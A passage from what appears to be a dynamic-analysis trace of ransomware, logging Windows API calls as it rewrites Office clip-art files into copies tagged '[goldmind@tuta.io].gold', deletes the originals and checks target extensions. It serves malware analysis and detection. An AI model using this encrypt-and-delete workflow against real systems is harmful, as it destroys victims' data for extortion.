(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.379] GetLastError () returned 0x0 [0109.379] ReadFile (in: hFile=0x180, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xb544, lpOverlapped=0x0) returned 1 [0109.393] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xb550, lpOverlapped=0x0) returned 1 [0109.394] ReadFile (in: hFile=0x180, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.394] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.394] SetEndOfFile (hFile=0x194) returned 1 [0109.394] CloseHandle (hObject=0x194) returned 1 [0109.394] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.394] SetEndOfFile (hFile=0x180) returned 1 [0109.397] CloseHandle (hObject=0x180) returned 1 [0109.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf")) returned 1 [0109.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0109.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0109.439] lstrlenW (lpString=".doc") returned 4 [0109.439] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.439] lstrlenW (lpString=".docx") returned 5 [0109.439] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0109.439] lstrlenW (lpString=".pdf") returned 4 [0109.439] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.439] lstrlenW (lpString=".xls") returned 4 [0109.439] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.439] lstrlenW (lpString=".xlsx") returned 5 [0109.439] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0109.439] lstrlenW (lpString=".ppt") returned 4 [0109.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0109.439] lstrlenW (lpString=".zip") returned 4 [0109.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.439] lstrlenW (lpString=".rar") returned 4 [0109.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.439] lstrlenW (lpString=".bz2") returned 4 [0109.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.439] lstrlenW (lpString=".7z") returned 3 [0109.439] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0109.439] lstrlenW (lpString=".dbf") returned 4 [0109.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0109.439] lstrlenW (lpString=".1cd") returned 4 [0109.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0109.439] lstrlenW (lpString=".jpg") returned 4 [0109.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0109.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0109.439] lstrlenW (lpString=".doc") returned 4 [0109.439] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.439] lstrlenW (lpString=".docx") returned 5 [0109.439] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0109.439] lstrlenW (lpString=".pdf") returned 4 [0109.439] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.439] lstrlenW (lpString=".xls") returned 4 [0109.439] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.439] lstrlenW (lpString=".xlsx") returned 5 [0109.439] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0109.439] lstrlenW (lpString=".ppt") returned 4 [0109.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0109.439] lstrlenW (lpString=".zip") returned 4 [0109.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.439] lstrlenW (lpString=".rar") returned 4 [0109.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.439] lstrlenW (lpString=".bz2") returned 4 [0109.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.440] lstrlenW (lpString=".7z") returned 3 [0109.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0109.440] lstrlenW (lpString=".dbf") returned 4 [0109.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0109.440] lstrlenW (lpString=".1cd") returned 4 [0109.440] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0109.440] lstrlenW (lpString=".jpg") returned 4 [0109.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.440] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.440] lstrlenW (lpString="J0151061.WMF") returned 12 [0109.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.440] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=6752) returned 1 [0109.440] CloseHandle (hObject=0x194) returned 1 [0109.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf")) returned 0x20 [0109.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.441] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.441] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0109.442] GetLastError () returned 0x0 [0109.442] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1a60, lpOverlapped=0x0) returned 1 [0109.445] WriteFile (in: hFile=0x364, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0109.445] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.446] WriteFile (in: hFile=0x364, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.446] SetEndOfFile (hFile=0x364) returned 1 [0109.446] CloseHandle (hObject=0x364) returned 1 [0109.446] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.446] SetEndOfFile (hFile=0x194) returned 1 [0109.448] CloseHandle (hObject=0x194) returned 1 [0109.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf")) returned 1 [0109.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0109.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0109.495] lstrlenW (lpString=".doc") returned 4 [0109.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.495] lstrlenW (lpString=".docx") returned 5 [0109.495] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0109.495] lstrlenW (lpString=".pdf") returned 4 [0109.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.495] lstrlenW (lpString=".xls") returned 4 [0109.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.495] lstrlenW (lpString=".xlsx") returned 5 [0109.495] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0109.495] lstrlenW (lpString=".ppt") returned 4 [0109.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0109.495] lstrlenW (lpString=".zip") returned 4 [0109.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.495] lstrlenW (lpString=".rar") returned 4 [0109.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.495] lstrlenW (lpString=".bz2") returned 4 [0109.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.495] lstrlenW (lpString=".7z") returned 3 [0109.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0109.495] lstrlenW (lpString=".dbf") returned 4 [0109.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0109.495] lstrlenW (lpString=".1cd") returned 4 [0109.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0109.496] lstrlenW (lpString=".jpg") returned 4 [0109.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0109.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0109.496] lstrlenW (lpString=".doc") returned 4 [0109.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.496] lstrlenW (lpString=".docx") returned 5 [0109.496] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0109.496] lstrlenW (lpString=".pdf") returned 4 [0109.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.496] lstrlenW (lpString=".xls") returned 4 [0109.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.496] lstrlenW (lpString=".xlsx") returned 5 [0109.496] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0109.496] lstrlenW (lpString=".ppt") returned 4 [0109.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0109.496] lstrlenW (lpString=".zip") returned 4 [0109.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.496] lstrlenW (lpString=".rar") returned 4 [0109.496] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.496] lstrlenW (lpString=".bz2") returned 4 [0109.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.496] lstrlenW (lpString=".7z") returned 3 [0109.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0109.496] lstrlenW (lpString=".dbf") returned 4 [0109.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0109.496] lstrlenW (lpString=".1cd") returned 4 [0109.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0109.496] lstrlenW (lpString=".jpg") returned 4 [0109.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.496] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.496] lstrlenW (lpString="J0151067.WMF") returned 12 [0109.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0109.497] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=13204) returned 1 [0109.497] CloseHandle (hObject=0x3a0) returned 1 [0109.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf")) returned 0x20 [0109.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0109.498] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.498] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.498] GetLastError () returned 0x0 [0109.498] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x3394, lpOverlapped=0x0) returned 1 [0109.505] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x33a0, lpOverlapped=0x0) returned 1 [0109.506] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.506] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.506] SetEndOfFile (hFile=0x3b4) returned 1 [0109.506] CloseHandle (hObject=0x3b4) returned 1 [0109.506] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.506] SetEndOfFile (hFile=0x3a0) returned 1 [0109.508] CloseHandle (hObject=0x3a0) returned 1 [0109.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf")) returned 1 [0109.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0109.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0109.560] lstrlenW (lpString=".doc") returned 4 [0109.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.560] lstrlenW (lpString=".docx") returned 5 [0109.560] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0109.560] lstrlenW (lpString=".pdf") returned 4 [0109.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.560] lstrlenW (lpString=".xls") returned 4 [0109.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.560] lstrlenW (lpString=".xlsx") returned 5 [0109.560] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0109.560] lstrlenW (lpString=".ppt") returned 4 [0109.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0109.560] lstrlenW (lpString=".zip") returned 4 [0109.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.560] lstrlenW (lpString=".rar") returned 4 [0109.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.560] lstrlenW (lpString=".bz2") returned 4 [0109.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.560] lstrlenW (lpString=".7z") returned 3 [0109.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0109.560] lstrlenW (lpString=".dbf") returned 4 [0109.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0109.560] lstrlenW (lpString=".1cd") returned 4 [0109.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0109.560] lstrlenW (lpString=".jpg") returned 4 [0109.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0109.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0109.560] lstrlenW (lpString=".doc") returned 4 [0109.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.560] lstrlenW (lpString=".docx") returned 5 [0109.560] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0109.560] lstrlenW (lpString=".pdf") returned 4 [0109.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.560] lstrlenW (lpString=".xls") returned 4 [0109.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.561] lstrlenW (lpString=".xlsx") returned 5 [0109.561] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0109.561] lstrlenW (lpString=".ppt") returned 4 [0109.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0109.561] lstrlenW (lpString=".zip") returned 4 [0109.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.561] lstrlenW (lpString=".rar") returned 4 [0109.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.561] lstrlenW (lpString=".bz2") returned 4 [0109.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.561] lstrlenW (lpString=".7z") returned 3 [0109.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0109.561] lstrlenW (lpString=".dbf") returned 4 [0109.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0109.561] lstrlenW (lpString=".1cd") returned 4 [0109.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0109.561] lstrlenW (lpString=".jpg") returned 4 [0109.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.561] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.561] lstrlenW (lpString="J0152436.WMF") returned 12 [0109.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0109.562] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=11340) returned 1 [0109.562] CloseHandle (hObject=0x3c4) returned 1 [0109.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf")) returned 0x20 [0109.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0109.562] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.562] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0109.563] GetLastError () returned 0x0 [0109.563] ReadFile (in: hFile=0x3c4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x2c4c, lpOverlapped=0x0) returned 1 [0109.590] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x2c50, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, 